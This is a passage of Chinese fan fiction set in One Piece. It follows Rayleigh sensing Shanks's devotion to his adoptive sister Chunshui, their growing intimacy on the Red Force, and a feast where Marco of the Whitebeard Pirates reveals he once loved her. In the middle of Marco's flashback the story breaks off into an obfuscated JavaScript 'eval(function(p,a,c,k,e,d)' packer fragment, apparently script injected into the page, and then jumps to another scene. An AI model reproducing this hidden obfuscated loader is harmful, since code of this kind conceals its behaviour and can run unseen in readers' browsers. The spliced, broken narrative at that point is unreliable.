他看得出她的虚弱,那份根基受损……心知作为救下露玖的代价,她今后恐怕再难挥刀了。 这傻孩子……说着什么“我一定会帮上船长的!”……为什么就不明白呢? 她也是他们一手带大的孩子啊,是他们无比重视的家人。如果罗杰还在,绝对不会允许她这样的牺牲。 ——但雷利也清楚,春水那孩子绝不会为自己的决定后悔就是了。 算了,随她去吧。 注意力从春水和「织织果实」上移开,雷利也敏锐地捕捉到了香克斯那小子——虽然小时候就是如此,但现在似乎越来越……等等,他是不是有点太黏糊了? 雷利的眼睛微微眯起,看着香克斯扶在春水腰间的手臂,寸步不离,带着近乎圈占的保护欲,还有望向她时,眼里烫人的火光。 ——这绝不是“姐弟”该有的距离。 而春水……对这种过分的亲昵。她没有推开,没有不适,只有一种近乎纵容的无奈。她习以为常,不甚在意。 雷利不动声色地结束了和她的对话,缓缓转向了香克斯。那目光平静无波,却带着千钧的重量,压得他几乎喘不上气来。 危险的气息在逼近,在令人毛骨悚然的打量里,香克斯努力绷紧背脊,笑容也收敛了些。 他像个小学生似的,老老实实坐在那儿,记起了被雷利先生铁腕统治的童年与少年时代。 “香克斯,你长大了。”雷利的声音十分平稳,直白的戳穿了他那点小心思,“不再是那个想要什么就只会粘着姐姐撒泼打滚的小鬼了——对吧?” 一瞬间,酒吧里的空气仿佛凝固了。 红发海贼团的干部们神色各异,最终都不由自主地看向春水,想看看她作何反应——她似乎认为这是雷利先生的表示认可的方式,居然还有点欣慰。 是这样啊……这孩子还没有察觉。 夏琪擦拭杯子的动作慢了下来,递给了春水一杯温水,笑着欣赏这场无声的交锋。 “你长大了。” 这句话看似平常,但在场的人都明白,那不仅仅是指年龄和实力的增长。 雷利是在问他:“你打算以什么样的身份站在她身边?打算一直躲在姐姐那点子包容之下,一辈子都当个不清不楚的弟弟吗?” 握着春水的手下意识地收紧,香克斯没有松手。他挺直了脊背,坦然地对上雷利的质询。 这是一个清晰无比的宣告。 “雷利先生,我比任何时候都更清楚我想要的是什么。”香克斯的回答清晰而有力,是年轻人藏不住的锐气,“请您放心,我这个人啊,一定会亲手得到所有——我想要的宝藏。” 雷利默然看着他,看不出情绪。 许多年前的记忆碎片掠过脑海——奥罗·杰克逊号的甲板上,男孩看着姐姐时,那越来越专注,越来越炽热的眼神。 原来,他那么早就……是从什么时候开始的呢? 不是什么“青春期”,恐怕是更久以前的——那次关于“香克斯身世”的讨论吧? 香克斯是天龙人的后裔。这是一名被罗杰打倒的、「神之骑士团」的成员透露的——他临死前还说着什么神界高贵的血统被污染了罪该万死什么的,被雷利一记霸王色削了脑袋。 头颅滚落,年仅十二岁的春水平静地捂住了香克斯的双眼,一脚将它踢进了海里 怪不得最近神之骑士团那群疯子一批又一批地侵入奥罗·杰克逊号,蝗虫一样紧追不舍。 ……原来如此。 彼时的香克斯已经大概得知了天龙人做过的恶事,说是人嫌狗憎也不为过。他为自己身上流淌着的血而感到羞愧,同时,也记起了姐姐对天龙人毫不掩饰的憎恨。 年幼的春水与她的妈妈也曾遭受过天龙人的迫害——只是因为她们都有着黄金一样罕见的瞳眸。 母亲重病身亡后,了无牵挂的她戴着引爆项圈,跌跌撞撞地逃了出来,正好撞上了奔着天龙人奴隶猎场准备大闹一番的罗杰海贼团。 她就这么得救了。 “体内留着这么肮脏的血,姐姐如果知道了……她一定会讨厌我的。” “当初为什么会出生在这个世界上呢?我的妈妈是……被强迫的奴隶之一吗?她不要我了吗?” “所有人都讨厌天龙人。我的出生……是一种罪恶吗?” 没人能够回答他这些问题。 这样的想法击溃了小小的少年。他躲避着春水的关心,将自己缩在了角落里。 “我也许,根本就不该出生在这个世界上。” 无意间听到了香克斯的呢喃,春水第一次朝他大声发了火。 “啪——!” “不准再说这种蠢话!!”少女脊背笔挺,眼神锋利,抬手直接甩了他一记耳光,“再让我听到类似的想法,以后就别再喊我‘姐姐’了!!” 巴掌落在脸上,毫不留情,力道大的将他的左脸带偏。 香克斯捂着脸,眼眶中的泪水要落不落。他委屈地抿着嘴,不发一言。 “没有人生来就不该存在在这个世界上!香克斯,你给我听好了!”她看着他的泪,语气暂缓,却依旧严厉,“我不管你的父母是谁,不管你身上流着什么血——那些东西你没法选择,也和我没有关系!” “我只知道你是罗杰海贼团的见习船员香克斯,是我的笨蛋弟弟香克斯。” “谁说亲人必须要有血脉维系?凭什么不能自己选择家人?你生长在这片自由的大海里,奥罗·杰克逊号就是你的家,这艘船上的大家都是你我的亲人!!” “——没有血缘又有什么关系呢?!”说到这里,她红着眼睛,捧起少年泪流满面的脸颊,将额头与他的相抵,“香克斯。这不影响你是……是我在这个世界上最爱的人。” 那一天,一直对自己温声细语笑颜如花的姐姐,用力地骂醒了他。 “所以别再说什么‘不该出生’这种蠢话了!”额头相抵,那是许下承诺的动作,春水轻声说,“你能出生在这个世界上——真是太好了。” 左脸痛得发涨,香克斯的眼泪止不住的流淌,但他笑得前所未有的开心。 “我——我知道了!”碍眼的自我厌弃很快散去,他猛地擦了一把眼泪,破涕为笑,“姐姐——姐姐也是我最最最爱的人!” 「“香克斯。你是我在这个世界上最爱的人。”」 也许掺杂着些孩子气的执拗和夸张,也许说这话的春水本人也没想过,一个七岁不到的孩子——能将一句话记上一辈子。 罗格镇大雨倾盆,同时带走了最尊敬的船长和最爱的姐姐。周围所有人都在大笑,热闹地谈论着大秘宝。失去了一切的少年却望着逐渐隐没雨里的背影,拼命压抑住了哭嚎。 马歇尔·D·蒂奇冰冷的铁爪泛起寒光,眼下疤痕现如今仍在隐痛。 亲生的兄长和父亲高高站在圣地之上,俯视着蝼蚁般的众生。 怪物一样的伊姆盯着他,左臂一痛,不由分说地被刻下烙痕。 艾尔巴夫王哈拉尔德丧失意识,眼见着他死在亲子之手。 这个世界烂透了。 ……这个没有你的世界真的烂透了,姐姐。 命运为什么会这么可恨啊? ——可她是这个可恨可憎的世界里,他最爱的人。 他一定要找到春水……即使只能找到尸骨,他也一定不会放手。 长河悠远,岁月无痕。少年那昭昭烈烈的执念……非但没有被时间磨灭,反而燃烧得一天比一天灼烫了。 那一团偏执的火,雷利看得分明。 他看透了雷德·福斯号一船人那点子“温水煮青蛙”的小伎俩,也看穿了香克斯心里那点小九九。 可…… 他定定望着最通透最敏锐的女儿,同时也将她的依赖看得清清楚楚。 直钩离水三尺,愿者上钩。 究竟是懵懂不觉,还是从心所欲。谁又能说的清楚呢? ——所以,雷利最终什么也没说。 20. 他们的理想型 姐弟俩都是被雷利又当爹又当妈地拉扯大,他的肯定和默许就是最令人安心的事。 香克斯悬着的心落地了,他脸上露出了灿烂得有些傻气的笑容,当着长辈们的面,搂紧了春水,如释重负。 “臭小子,照顾好你姐姐。”雷利重重地拍了拍他的肩膀,将他拍得踉跄了几步。 只要那是春水自己的选择,即便她尚未清晰认知,只要那能让她苍白的脸上多一丝血色和活气——其他的,都不重要。 作为「监护人」的雷利,是这么想的。 香克斯克制不住自己的雀跃,完全失去表情管理,只会傻乐:“我一定会照顾好春水的!雷利先生!” 春水“噗嗤”一声乐了,又感到无比窝心。 这孩子,怎么说的和宣誓词似的。 红发海贼团太过扎眼,雷利和夏琪还在隐居,所以香克斯他们不能在香波地群岛停留太久。 镀膜用了两天。 这两天里,春水像回到了小时候,小尾巴似的紧紧黏着雷利,仿佛要弥补这些年错过的时光。 ……即使那是雷利先生,即使知道她最最最喜欢雷利先生。 但……她是不是太忽视自己了? 她从早到晚跟着雷利跑,见不着个人影。这个粘人程度让几次刻意逮她都没逮住的香克斯都有点不爽了,他心不在焉地和伙伴们聊着天,眼神时不时飘向角落里的父女俩。 看出他俩分别多年,有很多话要说,夏琪笑眯眯地塞给香克斯一杯威士忌,压低声音:“耐心点,小子。” 十多年没见,春水确实憋了很多很多话想说。 她像从前一样,将头安安静静地枕在雷利膝头,将这些年的经历、对织织果实的摸索、关于艾斯的一切、路飞和尼卡果实、不方便和香克斯讲的那些事——事无巨细,统统讲给他听。 雷利一下又一下地梳理着她柔顺的长发,平静地听着。即使听到她为自己选择的结局,他依旧面不改色。 没有说教,没有否定,只是确定了她的意愿以后,平和地尊重了她的决意。 “想做就去做吧。”如她所料,他是这样说的,“你的人生由你做主,没人能够干涉。只是……春水,做以前一定要想清楚,不要让自己后悔,也不要留下遗憾。” 这样任性的决定……如今得到了他的支持,春水大大松了一口气。 临别前夜,她如同向贝克曼寻求建议时一样,对着她最喜欢的雷利先生,问出了最后一个深埋心底的问题: “雷利先生……香克斯总是这样粘着我,真的没问题吗?” 她蹙着眉,仍在为那些越界的触碰和无处不在的靠近感到困扰。 或许,她的内心深处也在确认着什么——只是需要更多时间去理清这份心意,而有些事,也确实需要那个“罪魁祸首”自己坦白。 贝克曼就坐在不远,听到这个熟悉的、折磨了自己一年的问题时,拿着酒杯的手不自觉抖了一下。 ……又来了。 他几乎要条件反射地考虑如何用最带着点暗示的解释搪塞她了。然而,这一次,他听到的是雷利沉稳平和的声音。 作为那艘传奇之船的定海神针,海贼王的副手,他并没有分析或者评判,只是像她小时候那样,带着慈爱,轻轻拍了拍她的头。 那是一位父亲,对待情窦初开却还不自知的女儿,最温和的引导。 “春水,比起这些,先问问你自己,你喜欢他现在这样……粘着你吗?” 不要考虑世俗意义上的正常与否,只问问你自己的心,你喜欢吗? 雷利看着这两个孩子一步步成长,他了解香克斯的执着,也明白春水在感情上的迟钝——她那根深蒂固的“姐弟观念”,又助长了这份迟钝。 ……我喜欢吗? 首次被问了这样的问题,春水愣住了。 她想起那些触碰与靠近,令人无所适从。男人的吐息似乎就在耳畔,烧得她耳根微微发烫——于是她本能地想摇头。 ——我觉得那样太过了。 但紧接着,那些相拥而眠、安稳入睡的夜晚,那双总是专注地、明亮地注视着自己的眼睛,那份越来越不掩饰的、几乎要烫伤自己的“喜欢”……悉数涌上心头。 ——香克斯……好暖和。 我喜欢他靠近我,我依赖他。即使太过了,但我……我完全不讨厌。 最终,在雷利带着笑意的注视下,她红着脸,遵从了内心最真实的感受,坦诚地点了点头。 “我……我喜欢的。” “那就够了。”雷利了然地摸了摸她的头,这是她从小最喜欢的、代表奖励和认可的动作,“春水,人的一生很短。不要考虑太多,找到一个让你开心的人,去过自己喜欢的生活,就够了。” 他几乎是宠溺地说出了和露玖一样的话,将选择的自由与权力,完全交还给了她自己。 真不愧是「冥王」雷利啊……这一句话就能赶上头儿一年的进度了。 ——竖着耳朵偷听标准答案的贝克曼顿悟了,他想他终于明白这对儿笨蛋姐弟为什么会这么依赖自己了。 雷利先生真的是最最最靠谱的人啊,没有之一那种。 一口气喝光了威士忌,带着由衷的叹服,贝克曼感叹道。 * 大海埋葬着前人未尽的梦想,游子的脚步片刻不敢停歇。 香克斯为雷利和夏琪留下了生命纸和电话虫,约定好了定期联络后,再次准备启程了。 临别时,夏琪帮春水擦干眼泪,雷利看向香克斯,只说了一句。 ——“耐心点,小子。” 这是嘱托,是认可,同时……也是明晃晃的警告。 春水现在的身体经不起折腾,在她没做好准备以前,这小子敢仗着她的纵容和宠溺做些什么——那他这把老骨头也不是吃素的。 “我明白,雷利先生。”香克斯立刻收敛了所有玩笑的神色,郑重地保证,“对她……我能等一辈子。” 知道他真的是忍常人之所不能忍,和春水盖着被子纯睡觉的伙伴们纷纷表示赞同。 雷德·福斯号顺风远航,春水不舍地频频回望,朝已经看不到了的雷利一遍又一遍挥手。 香克斯将她的长发小心拢好,一颗心被她的泪水泡的又酸又涨:“春水,别难过了……我们还会回来的,雷利先生又不会跑。” 被他小心翼翼擦干泪水,春水带着哽咽,点了点头,将脸埋在了他热腾腾的胸膛里,用力环住了他的腰。 唉?这么主动……? 本来想这么做,结果被心上人抢先了一步投怀送抱,香克斯有点怔住了。 ……一定是、是因为告别了雷利先生,她、她太难过了。 一定是这样的吧? 事实证明,香克斯猜错了。 似乎有什么顾虑被永永远远抛在了香波地群岛,他惊喜地发现,这样的事在那以后,发生了很多很多次。 ——春水真的会主动向他伸出手了! 不同于冷战时期的示好,也不是带着安抚意味的奖励。 她全盘接受了他的亲近,并且……在尝试着回应——用同样亲昵的方式回应。 香克斯的体质比春水强太多了,他又是典型的高精力人,睡眠时间比春水短不少。 她睡相安恬,他不舍得吵醒她,早早醒来后会轻手轻脚地溜去浴室洗漱,晨练,完成每天的晨训和对练任务后,再去船长室处理些船务,冲个澡,转上一大圈,度过一个忙碌的清晨。 最后,他才掐着时间,回到春水……啊不,是他们的卧室里,喊她起床。 他放轻脚步走过去,俯身,像往常一样低声唤她:“春水,起床啦。” 算是失明的后遗症吗?春水在起床时会有些眩晕,总是揉着太阳穴,一脸疲惫。 他正准备像过去那样,将她连人带毯子一起抱起,一只手却先一步抬了起来,轻轻环住了他的脖颈。 这下子,香克斯是彻底愣住了。 春水并没有完全清醒,只是迷迷糊糊地,带着睡意咕哝了一声他的名字:“香克斯……” 同时,那环住他脖颈的手臂微微用力,将他往床的方向带了带,“再睡一会儿……一会儿还有计划……只睡五分钟就好。” 不是带着纵容的被动接受,而是主动的挽留和靠近。 她……咳。 回过神来,像是被羽毛狠狠搔刮了一下,香克斯发现自己的心跳已经快得不太正常了。 他顺从俯身,任由她将自己拉近,两个人一起跌进柔软的床榻。 清浅的呼吸拂过颈侧,化身压枪战士的男人冷静地将她搂的更紧了。 他清晰地意识到,她身体的反应是诚实的——她确实在依赖着他,并且……希望他留下。 大概猜到了她和雷利先生的谈话内容,香克斯按耐住心猿意马,不动声色。 绝对不会承认自己在暗爽的男人,努力告诉自己,他只是想看看,她能回应到什么地步。 他知道春水喜欢在下午阳光最好的时候看书,或者贝克曼交给她的一些资料或者海图。失去了一只眼睛,反而让她的右眼“看”得更远了。 香克斯故意在她周围晃了一圈,得到了自己想听的邀请。 “香克斯。”她轻轻喊了他一声,让开一些位置,等着他坐过来。 他依言照做,然后……春水极其自然地、将头靠向他的肩膀,示意他来看自己的发现。 ……那究竟是下一个岛的信息还是即将面对的海贼团成员的资料来着? 说实话,香克斯一个字都没看进去。 他细细感受着那带着点亲昵的倚靠,她正坦然地将全身一部分重量交付给他。 管他什么海贼团什么岛的呢。 他现在精力充沛,充沛得谁来打扰他们都能一拳打飞! 春水很快发现了他的心不在焉,好笑地戳了戳他的脸:“………你从哪里开始走神的?我再说一次。” 对,这种小动作——也是之前不会有的! 心里又痒又火热,香克斯笑着抓住她的手指,拍了拍自己的腿,伸展手臂,示意她靠过来。 “这样舒服,来,在这里慢慢说。”他带着点诱哄的语气,期待着她的回应。 春水:“………” 怎么说呢,确实……确实挺舒服的。 后背紧贴着灼热的胸膛,仿佛所有的寒意和疲惫都被驱散了。书本上的字迹都变得格外清晰……这种事,她晚上窝在这人怀里看书的时候就发现了。 “真的,不信你试试。”香克斯不慌不忙地看着她。 那是能和她僵持一整天的表情,这个人在这种事上总是耐性好的惊人。 春水的眼神飘忽,虽然有点不好意思,但还是慢慢凑近了——带着点犹豫,她主动地靠在了那个坚实又温暖的怀抱里,在他耳边轻声重新讲了一遍。 这回香克斯听的清清楚楚了……这种距离,想听不清楚也很难吧? 主动尝试过一次就有第二次、第三次。 那之后,不用香克斯再说什么,只要他坐在春水身边,随便找个什么理由——甚至有时不需要理由,她就会蹭过来,将自己柔软的身体,完完整整地送到他手里。 她越来越习惯贴近他,像一株寻求阳光的植物……或者说是某种寻求热源的小动物? “香克斯……”像是不满于他的分神,这人有时还会毫无自觉地在他肩窝蹭几下,引得他回神,调整姿势,让她靠得更舒服。 将她满意的咕哝声听的一清二楚,香克斯收紧手臂,将心上人更牢地圈在怀里,下巴抵着她的发顶,感受着她越发放松的亲近。 好吧。他顶着伙伴们的白眼老实承认,他确实是爽到了。 * 保持着剑士面对危险的本能,春水的警惕心一直很高。 没有香克斯在的地方,她哪怕睡着也只会是浅眠,一有风吹草动就会立即惊醒。 ……所以,在一片夕阳中,发现春水在躺椅上睡着时,连神经最大条的莱姆琼斯和斯内克都忍不住笑了。 伙伴的笑闹声就在远方,书本滑落在膝头,海风吹拂着女人柔软的长发。 她睡得很熟。 即使没有香克斯滚烫的胸膛,即使没有被他坚实的手臂环住脊背,即使没有她贪恋无比的、那种难以言喻的安心感和暖意。 她身处于偶有颠簸的雷德·福斯号上,将身体交付给海浪与伙伴,充满信任地进入了梦乡。 ——这是她彻底融入进来的征兆。 香克斯远远站在一边。他并没有刻意压低和贝克曼的交谈声,伙伴们也只是笑着望了春水几眼,依旧做着自己手上的事。 对练、钓鱼、嬉闹、烤肉。 那些声音很吵闹,足够把人惊醒很多次。 但春水听着那些人声,眉头反而越来越松快,那些该死的「命运」在逐渐远去,骨髓里被「织织果实」缠绕的疲惫也被一点一点剥离了。 她睡了无比漫长的一觉,久违地梦到了罗杰船长和年轻时的大家。 船上有风铃在轻轻摇晃,那音色与奥尔·杰克逊号上的一模一样,令她一时难以从久远的梦中醒来。 意识回归时,夜已经深了。 “醒了?”男人带着点笑意的声音在耳边响起,“感觉你做了个好梦呢。” 他将手掌轻轻贴在她裸露的、带着凉意的脖颈侧边。那滚烫的体温贴上来的瞬间,春水的睫毛轻轻颤动,迷茫地睁开眼。 她看着香克斯。 那双雾蒙蒙的黄金瞳里已经不会再有惊讶或推拒,只流露出慵懒的、被暖意熏蒸出的舒适。 她像只被顺毛的猫,呢喃着他的名字,蹭了蹭他温热的手掌:“香……克斯……” 梦里梦外,他都在守着自己。 这个孩子……这个男人,他一直陪在自己身边,长长久久地注视着自己。 “是喔,是个好梦呢。” 于是她笑了,笑得毫无防备,笑得香克斯心软得一塌糊涂。 “梦到什么了?”他耐心保持着这个姿势,直到她完全清醒,“有梦到我吗?我听到你喊我的名字了。” 春水没有否认,她确实梦到他了。 冰凉的身体,被他一点点捂热——她贪恋着这份温度。 星空璀璨,星河绚烂。单薄的女人望着夜空,伸手拨动着只有她看得见的「命线」。 没有再像从前那样独自承担,这一次,她实实在在地、将从来避而不谈的果实能力坦言相告。 “香克斯,你说果实觉醒……究竟需要什么样的条件呢?”她问。 那不是对弟弟的诱哄,那是将他视作和贝克曼一样的,能交谈的伙伴。 ——这比任何亲密接触都使香克斯心跳加速。 尽管他并不能完全给出答案,毕竟从罗杰海贼团到红发海贼团,所有船员都是没吃过果实的家伙。 但她这份商讨的态度已经证明了一切。 “下次抓个能力者问问。”从身后抱住她,将下巴搁在她的颈窝,香克斯眯着眼感受着怀里人的呼吸。 春水被他逗笑了:“太乱来了,你啊。” 她点了点他的鼻子,又亲昵地捏了捏他的脸颊。 香克斯任由那双手在自己脸上揉来揉去,惬意地眯起眼。他有时候会忍不住想,在春水眼里,自己是不是终于不再只是……弟弟……了呢? 他并不急于去让她看破什么,或者逼迫什么,毕竟他们还有很漫长的时间。 对她,他一直很有耐心。 雷德·福斯号乘风破浪,在伟大航路远航。他们一起面对了很多强敌,九死一生,也遇见了很多冒险。 在鲸鱼围成的岛屿上放歌,和巨人一起用即将喷发的火山烤肉。在无数个欢笑或紧迫的日子里,春水在雷德·福斯号上度过了七年。 香克斯的霸气已然臻化境,他无师自通地学会了罗杰船长的「神避」,那样锋锐的男人已经再没人能够折断。 于是,世界政府退让了。 他们将他并入了海上皇帝,与爱德华·纽盖特、夏洛特·玲玲,凯多,并称为新世界的「四皇」。 再也没有海军敢来阻挡雷德·福斯号的路,遇到的海贼要么四散退避,要么俯首称臣。 尽己所能阻拦战争,救下一个个破碎的家庭,庇护实力不足的弱小海贼团,香克斯的气场越发凝练,身上的担子也越来越重。 每一次决策,都押上了太多人的性命。 所以渐渐地,即使没有“春水压制”,他也不会再莽撞地冲在最前面,而是内敛地、冷静地同贝克曼一起观察,选择最好的时机出手。 这就是成长必须要付出的代价。 但春水知道,她一直知道——有着炽热的、真诚的笑容,香克斯还是最初那个善良的少年。 在成为四皇的第一年,他们遇上了白胡子海贼团。 顶着像是要把大陆掀翻的风浪,巨舰「莫比迪克号」承载着一船的家人,如同白鲸一般破开浪涛,灵活地穿过风浪。 四皇之间一般不会有冲突,再加上纽盖特还是和罗杰船长亦敌亦友、值得尊敬的对手,他们还曾一起开过宴会。 所以香克斯作为晚辈,扛着船上最好的酒,主动踏上甲板同纽盖特打着招呼。 两个男人豪迈的笑声震天响,双方海贼团热热闹闹地开启了宴会,透过明明灭灭的篝火,香克斯看到了纽盖特身边的马尔科。 在罗杰船长“借走”光月御田那一次大混战,他们曾经有过一面之缘。自己那时只顾着和蒂奇对打,对马尔科的印象其实不算深刻。 他只记得,这人的果实非常罕见的幻兽种,受到的伤害总能快速复原。春水对他的评价是:“相当难缠的对手。” 时隔二十年,想必他早就忘记自己了。 “呦,马尔科,要不要当我的伙伴啊?”对着这位大名鼎鼎的一番队队长「不死鸟」,香克斯带着点调侃地问。 马尔科嗤笑一声,将酒杯对他隔空碰了碰,却意外地将话头转向了坐在他对面的春水,准确地喊出了她的名字:“春水,要不要换艘船啊?来做我们的家人yoi。” 瞄到了春水挑眉的动作,香克斯神色一顿。 不是对待亲人或者伙伴的感觉……她的反应? 等等,他好像想起来了件事。 二十多年前的那一战,雷鸣与斩击撕裂天空,连海水都为之沸腾。那是白胡子海贼团与罗杰海贼团首次也是唯一一次交锋。 作为马尔科的对手,春水和他实打实地打了三天三夜。打到最后,两个人体力不支仰面倒地,嘴里却还在大呼痛快。 “喂,春水……这是你的名字吧?我听那红发小鬼喊你春水姐yoi。”率先起身的马尔科拍了拍身上的灰尘,朝她伸出手,“我是马尔科。站的起来吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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听到她依然自称为他们的“家人”,乔兹、萨奇、比斯塔、以藏……那些队长们,甚至是纽盖特本人都笑了。氛围一片温馨,和乐融融。 香克斯看着春水少有的轻松表情,心头被疑惑填满,笑容也慢慢地、慢慢地收敛了。 这个语气,春水和白胡子海贼团的成员很熟吗……? 之前?家人?好久不见?她曾经也是这艘船上的一员……?那是什么时候的事? 她离开了罗格镇,回了趟她的家乡,还上了莫比迪克号吗? ……又是关于那空白的……不愿意被她提起的一年吗? 春水和马尔科靠的很近,他似乎在给她检查下身体,她不闪不避,任再生之炎缠绕手腕。 两个人还在你来我往地拌嘴。 “当初答应得好好的,你肯定又乱来了。” “青天大老爷,我真的每次都和你说了。” “那你这左眼怎么回事?神经都萎缩了yoi。” “……这个嘛,咳。” “我看你干脆把通缉令上的名号改成「独眼龙」春水算了。”确定她左眼真的失明了,马尔科翻了个白眼,“右眼有影响吗?一会儿干脆和我去医疗室一趟算了。” “饶了我吧,我不想喝药了母亲大人。”这回换春水举手投降了,“而我们的船医本乡很棒的,不比你差。” 这个尾音,这段对话,母亲大人……这下子还有什么好不确定的呢? 这种有来有回、无比熟稔的拌嘴,像小孩子似的,与春水重逢的这些年里,香克斯只从电话虫里听过。 时不时与春水聊上几句又匆匆挂断的那位「她最好的朋友」——虽然他们用的是防止窃听的加密电话虫,声音被刻意处理过,有些失真。 但此时此刻,凭着男人的直觉,香克斯几乎能肯定。 那个人,就是马尔科。 ……居然是他吗? 因为非常介意春水每次通话时都无比轻快的态度,像是能抛下所有枷锁,眼角眉梢都是闲适的愉悦……这些年里,他不是没明里暗里打探过那位「朋友」。 ——听着声音,对方是个男人啊? 但春水对此的态度一直坦坦荡荡:“我们俩吗?就是你和乔拉米尔·米霍克的关系啊,他是我最珍惜的朋友。” 香克斯对此不置可否。 米霍克可不会大半夜打来电话只是为了问一嘴她的伤好些没啊。 “因为他是医生,对伤病会比较敏感。而且他很爱操心,我们都悄悄喊他‘母亲大人’来的。”一下一下帮他按摩着太阳穴,春水是这么解释的。 似乎看出香克斯的疑虑,她主动说起过这位「朋友」。 她说,他也是个海贼,是个很负责任的大家长,给人的感觉有点像贝克曼。但是因为有洁癖所以不怎么交女伴,被兄弟们私下议论过这人是不是性冷淡或者有什么小众xp。 “好担心他会一直打光棍啊。”提起朋友的终身大事,春水叹着气,“一颗心都扑在家人们身上了,连家都不怎么出。那个笨蛋难道在期待一场入室抢劫的爱情吗?” 自己的感情都一团乱呢,居然还有功夫忧心别人?醋意未消的香克斯成功被她逗笑了。 他细细咀嚼着她的态度,确定了这段友谊里面没有掺杂着什么微妙的「独占欲」或者「排他性」——起码春水这里没有。 真的是单纯的朋友? 她还想介绍他们认识来着……说什么他们肯定会喜欢彼此的这种胡闹话。 恨不得她的世界里只有自己一个男人的香克斯笑了笑,心道这怎么可能——但朋友就朋友吧,只希望对方是个安分守己的,不要生出些别的苗头才好。 虽然仍然保留着对那位「朋友」无法忽略的敌意。但很多年过去了,春水的电话虫依旧会时不时响起,这段友谊依旧令她难掩轻松愉悦。 慢慢地,香克斯也习惯了。 今天终于见到本人了——结合着种种细节,形象倒也一一对的上。 说是完全不介意是不可能的。他端起酒杯,望着被白胡子海贼团的队长们包围住的马尔科和春水,默不作声。 一片喧闹声中,相对于安静的角落里。琥珀色的威士忌在木杯中轻轻晃荡,贝克曼饶有兴致地将这一场好戏收入眼底。 预感到也许这会是压倒这对“姐弟”关系的最后一根稻草,也为了避免接下来的日子被头儿再次用白痴问题骚扰—— 敏锐的副船长找了个时机,避开人群,轻飘飘地抛出了个极具分量的话题。 “喜欢过我们春水这种类型的啊,确实是好眼光。”他为马尔科斟满一杯酒,状似随意地发问了,“那么……现在呢?” ——“你现在的理想型呢?和以前一样,还是春水吗?” 一针见血,直指核心。 马尔科倒是没想过贝克曼会问出这种问题。 这家伙看着成熟稳重,人模狗样的,不像是那种爱凑热闹聊八卦的人。 但他的眼神在香克斯和环在春水腰上的手臂转了转,打量着男人恨不得把她拆碎吃掉里的占有欲,立刻get到了好友口中那个“正处于青春期中过于粘人的弟弟”究竟是在打什么主意。 呵,感情这是……替他们那个不敢开口的船长小鬼打探敌情来了? 感受到了马尔科意味深长的目光,正就着春水的手吃她剥好的葡萄的香克斯回望过来。 ——他显然也听清了贝克曼的问题,正想看看自己会如何回应。 两个男人的目光在空中交锋,一个带着隐隐的警告,一个满是戏谑的笑意。 空气里似乎有极其细微的噼啪声,一触即分。 马尔科笑着收回目光。心道红发那小鬼,怎么还和过去一样,有人和他姐姐多说一句话就炸毛啊? 跟个毛头小子似的,完全没长进啊。 他没急着回答,只是一口一口啜饮着威士忌。贝克曼向来沉得住气,也不催促,只撑着脸看他。 气氛沉默了很久很久,马尔科终于主动开口,打破了宁静:“……啊,是啊。” 回忆汹涌如潮水,眼前的场景飞速倒退。 他定定望着持剑的少女。 苍白瘦削,脊背挺得笔直。整个人像一把刚刚斩断铁石、锋芒毕露的利刃,仿佛连「命运」都能斩断。 那双罕见的、漂亮的黄金瞳像是在燃烧一样明亮。 血顺着刀身缓缓滑落,滴在焦黑的土地上。少女的左臂微微后张,指尖收拢,像母鸟展开翅膀,将弟弟完全遮在身后。 那样尖锐,却也那样温柔—— 时隔二十余年,马尔科仍然记得自己那一刻堪称剧烈的心跳声。一下、一下,快得几欲撞破胸膛。 “是啊,还是春水yoi。” 男人将杯中剩余的酒一口饮尽,顶着贝克曼陡然锐利的目光,笑得无比坦然。 ……虽然,是曾经的她啦。 “怎么了?不行吗?”他朝不远处难辨喜怒的香克斯扬了扬眉,挑衅毫不加以掩饰,“那小子……不也是吗?” ——从小到大,香克斯那小子喜欢的类型……或者说喜欢的人,也从来没有变过。 和自己一样,一直是春水。 ……一直是她啊。 21. 我喜欢你 “香克斯……?” 春水很快察觉到了香克斯的不对劲。她喊了三声,他才回过神来。 对着一群吆喝着喝酒的男人们,香克斯标志性的笑容依旧挂在脸上,但手臂不动声色地环上了她的腰。 “怎么了?”他笑着问,语气轻松,“确实有点吵,我先送你回去休息?” 春水感觉到了那一瞬间的不自然。 顺着他刚刚走神的方向,她迟疑着看过去。贝克曼和马尔科不知道在说些什么,时不时笑几声,但是个人都能听出暗藏其中的火药味儿。 ……他们俩难道意外地不太合得来吗……? “我没事。”顺嘴回了香克斯一句,她忍不住又看了几眼,有点纳闷,“香克斯,他们……” 他们不是第一次见面吗? 难道是……马尔科看不惯贝克曼花花公子的做派吗? 也是,他在电话虫里确实叮嘱过自己,要谈感情一定要找个专一的男人,少和那种情场高手接触什么的…… 生长在全是男性的莫比迪克号上,这个人的恋爱观简直保守得令人震惊。 香克斯一眼就看出了春水的误解,但他没有解释——总不能说他们在谈论“马尔科的理想型是不是你”这种事吧? 他笑着低头,在萨奇和比斯塔震惊又恍然的注视下,亲昵地蹭了蹭她的脸,明晃晃地宣示主权:“贝克在交朋友呢,别管他们了。你刚刚只吃了一块肉,要不要再多吃一点?” “我吃不下了。”春水没察觉到任何不妥,只是轻轻摇了摇头,把盘子里只咬了一口的肉排推向香克斯,“萨奇的手艺很好喔,你尝尝。” 香克斯顺着她咬过的那一口咬了上去。 肉汁四溢,鲜香无比。 他任由春水帮自己擦了擦嘴角,笑眯眯地点头:“和路的风格不太一样,确实好吃。” ……这对姐弟是不是有点太黏糊了?等等,他们是姐弟吗? 马尔科不是说……春水的弟弟只是在青春期所以有点没有安全感吗? ……倒不如说三十多的男人真的还有青春期吗……? 不不不,这些不是重点。 这两个人到底怎么回事?!! 萨奇指了指他们,又指了指马尔科,朝着比斯塔和以藏露出了一脸呆滞的表情。 拉基·路凑到了他身边,好心地为他解惑。两个厨师倒是投缘,嘀嘀咕咕好一会儿,话题从那对笨蛋姐弟聊到了今晚的菜式和香料,绕了一大圈又聊回了那对笨蛋姐弟。 以藏默默叹气:“姐什么弟啊,这样子了为什么还不在一起啊?” “习惯就好。”耶稣布拍了拍一脸难以理解的萨奇,脸上是过来人的沧桑,“我们都习惯了。” “唉?那、那马尔科岂不是彻底没戏了?!”比斯塔倒是更关心好兄弟无疾而终的初恋(?)。 